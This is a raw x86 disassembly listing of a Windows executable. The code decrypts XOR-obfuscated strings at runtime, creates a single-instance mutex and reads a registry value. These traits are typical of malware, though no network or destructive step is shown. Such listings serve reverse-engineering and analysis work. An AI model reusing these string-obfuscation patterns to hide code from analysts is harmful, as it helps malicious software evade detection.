mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x409897
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x40988d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edee
push edx
push ecx
call fcn.00419018
add esp, 8
movups xmm0, xmmword [0x4430ec]
movups xmmword [ebp - 0xe1], xmm0
mov al, byte [0x4430fc]
mov byte [ebp - 0xd1], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x409a10
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
mov ecx, 4
movd xmm5, ecx
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
nop dword [eax]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xe1]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xe1], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xdd]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xdd], xmm1
add edx, 8
cmp edx, 0x10
jl 0x409900
mov dword [ebp - 0x24], edx
cmp edx, 0x11
jge 0x409a41
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe1], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x11
jl 0x409a10
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xe1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409a68
sub ecx, edx
push ecx
lea eax, [ebp - 0xe1]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0x880]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ab0
sub ecx, edx
push ecx
lea eax, [ebp - 0x880]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004040a0
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x120]
call fcn.00411620
push eax
lea ecx, [ebp - 0xd0]
call fcn.0040f940
mov esi, eax
mov edx, dword [ebp - 0xbc]
cmp edx, 0x10
jb 0x409b2c
inc edx
mov ecx, dword [ebp - 0xd0]
mov eax, ecx
cmp edx, 0x1000
jb 0x409b22
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edf3
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x409b81
inc edx
mov ecx, dword [ebp - 0x120]
mov eax, ecx
cmp edx, 0x1000
jb 0x409b77
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edf3
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x409bd6
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x409bcc
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edf3
push edx
push ecx
call fcn.00419018
add esp, 8
cmp esi, 0xffffffff
jne 0x409ddd
lea eax, [ebp - 0xe1]
push eax
call fcn.0040ef70
mov edi, eax
mov dword [ebp - 0xec], edi
cmp byte [edi + 0x10], 0
je 0x409d8f
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp dword [0x448508], 2
jl 0x409d62
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov edx, edi
mov eax, 4
sub eax, edi
mov dword [ebp - 0x34], eax
mov esi, dword [ebp - 0x200]
mov edi, eax
nop dword [eax + eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [edx]
pxor xmm1, xmm0
movd dword [edx], xmm1
lea eax, [edi + edx]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [edx + 4]
pxor xmm1, xmm0
movd dword [edx + 4], xmm1
add ecx, 8
lea edx, [edx + 8]
cmp ecx, 0x10
jl 0x409c60
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
mov edi, dword [ebp - 0xec]
jge 0x409d8f
lea esi, [ecx + edi]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jl 0x409d62
lea eax, [ebp - 0x18a]
push eax
call fcn.0040ef50
mov esi, eax
mov dword [ebp - 0x24], esi
cmp byte [esi + 4], 0
je 0x40ee01
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov edi, eax
lea esi, [ecx + edi]
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 5
jge 0x40edf8
jmp 0x409db1
movups xmm0, xmmword [str.pTVXZPaSL6_163___I]
movups xmmword [ebp - 0x4b], xmm0
mov ax, word [0x442e48]
mov word [ebp - 0x3b], ax
mov al, byte [0x442e4a]
mov byte [ebp - 0x39], al
xor edx, edx
mov dword [ebp - 0x24], edx
lea esi, [edx + 4]
cmp edi, 2
jl 0x409f40
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
movd xmm5, esi
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x4b]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x4b], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x47]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x47], xmm1
add edx, 8
cmp edx, 0x10
jl 0x409e41
mov dword [ebp - 0x24], edx
cmp edx, 0x13
jge 0x409f6e
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x4b], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x13
jl 0x409f40
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0x4b]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f92
sub ecx, edx
push ecx
lea eax, [ebp - 0x4b]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004040a0
lea eax, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
cmovae eax, dword [ebp - 0xd0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0xbc]
cmp edx, 0x10
jb 0x40a004
inc edx
mov ecx, dword [ebp - 0xd0]
mov eax, ecx
cmp edx, 0x1000
jb 0x409ffa
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee4a
push edx
push ecx
call fcn.00419018
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40ee4f
movups xmm0, xmmword [str._LMJH]
movups xmmword [ebp - 0x4f], xmm0
mov eax, dword [0x4431e4]
mov dword [ebp - 0x3f], eax
mov ax, word [0x4431e8]
mov word [ebp - 0x3b], ax
mov al, byte [0x4431ea]
mov byte [ebp - 0x39], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40a180
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
movd xmm5, esi
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
nop
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x4f]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x4f], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x4b]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x4b], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40a080
mov dword [ebp - 0x24], edx
cmp edx, 0x17
jge 0x40a1ae
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x4f], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x17
jl 0x40a180
lea edx, [ebp - 0x4f]
lea ecx, [ebp - 0x688]
call fcn.00404b60
mov ecx, dword [str.mKZ_WYO_]
mov esi, dword [0x443464]
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], esi
cmp byte [0x443467], 0
je 0x40a31d
xor edx, edx
mov dword [ebp - 0x2c], edx
cmp edi, 2
jl 0x40a2f3
movaps xmm4, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movd dword [ebp - 0xa0], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x9c], xmm1
jmp 0x40a31d
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xa0], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 8
jl 0x40a2f3
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0xa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a344
sub ecx, edx
push ecx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004040a0
mov eax, dword [str.KI:gJVN_Ip__BTWLTONDa__C]
mov dword [ebp - 0x24], eax
cmp byte [0x442da7], 0
je 0x40a437
xor edx, edx
mov dword [ebp - 0x2c], edx
cmp edi, 2
jl 0x40a410
movaps xmm3, xmmword [0x443670]
movaps xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x443730]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x443730]
shufps xmm2, xmm0, 0xdd
mov ecx, 4
movd xmm0, ecx
psrad xmm2, xmm0
movaps xmm1, xmm2
mov ecx, 0x1f
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x443690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x443700]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 0x24], xmm1
jmp 0x40a437
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 4
jl 0x40a410
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0x24]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a460
sub ecx, edx
push ecx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
push ecx
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x688]
lea ecx, [ebp - 0x120]
call fcn.00407750
add esp, 4
mov ecx, eax
call fcn.0040f940
mov esi, eax
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x40a4df
inc edx
mov ecx, dword [ebp - 0x120]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a4d5
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee56
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x40a534
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a52a
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee56
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0xbc]
cmp edx, 0x10
jb 0x40a56e
inc edx
mov ecx, dword [ebp - 0xd0]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a564
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee56
push edx
push ecx
call fcn.00419018
add esp, 8
cmp esi, 0xffffffff
jne 0x40ee43
movq xmm0, qword [0x442da8]
movq qword [ebp - 0x8c], xmm0
mov eax, dword [0x442db0]
mov dword [ebp - 0x84], eax
cmp byte [0x442db3], 0
je 0x40a6f1
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40a6c0
movaps xmm4, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x442da8]
pxor xmm1, xmm0
movd dword [ebp - 0x8c], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x88]
pxor xmm1, xmm0
movd dword [ebp - 0x88], xmm1
mov edx, 8
mov dword [ebp - 0x24], edx
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x8c], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xc
jl 0x40a6c0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
lea ecx, [ebp - 0x8c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a718
sub ecx, edx
push ecx
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0xe8]
call fcn.004040a0
movups xmm0, xmmword [0x443100]
movups xmmword [ebp - 0x3f4], xmm0
movups xmm0, xmmword [0x443110]
movups xmmword [ebp - 0x3e4], xmm0
movq xmm0, qword [0x443120]
movq qword [ebp - 0x3d4], xmm0
mov eax, dword [0x443128]
mov dword [ebp - 0x3cc], eax
mov al, byte [0x44312c]
mov byte [ebp - 0x3c8], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40a8d0
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
nop
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3f4]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3f4], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3f0]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3f0], xmm1
add edx, 8
cmp edx, 0x28
jl 0x40a7c0
mov dword [ebp - 0x24], edx
cmp edx, 0x2d
jge 0x40a901
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3f4], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x2d
jl 0x40a8d0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0x3f4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a928
sub ecx, edx
push ecx
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004040a0
lea eax, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
cmovae eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x24]
push ecx
push 0x20019
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40a994
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
push 0
push 0x44289b
jmp 0x40aa11
mov dword [ebp - 0x34], 0xff
lea eax, [ebp - 0xe8]
cmp dword [ebp - 0xd4], 0x10
cmovae eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x9c8]
push ecx
push 0
push 0
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x24]
test eax, eax
je 0x40a9d7
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40a973
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
lea ecx, [ebp - 0x9c8]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aa00
sub ecx, edx
push ecx
lea eax, [ebp - 0x9c8]
push eax
lea ecx, [ebp - 0x50]
call fcn.004040a0
mov edx, dword [ebp - 0xbc]
cmp edx, 0x10
jb 0x40aa53
inc edx
mov ecx, dword [ebp - 0xd0]
mov eax, ecx
cmp edx, 0x1000
jb 0x40aa49
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee5b
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov edx, dword [ebp - 0xd4]
cmp edx, 0x10
jb 0x40aaa8
inc edx
mov ecx, dword [ebp - 0xe8]
mov eax, ecx
cmp edx, 0x1000
jb 0x40aa9e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee5b
push edx
push ecx
call fcn.00419018
add esp, 8
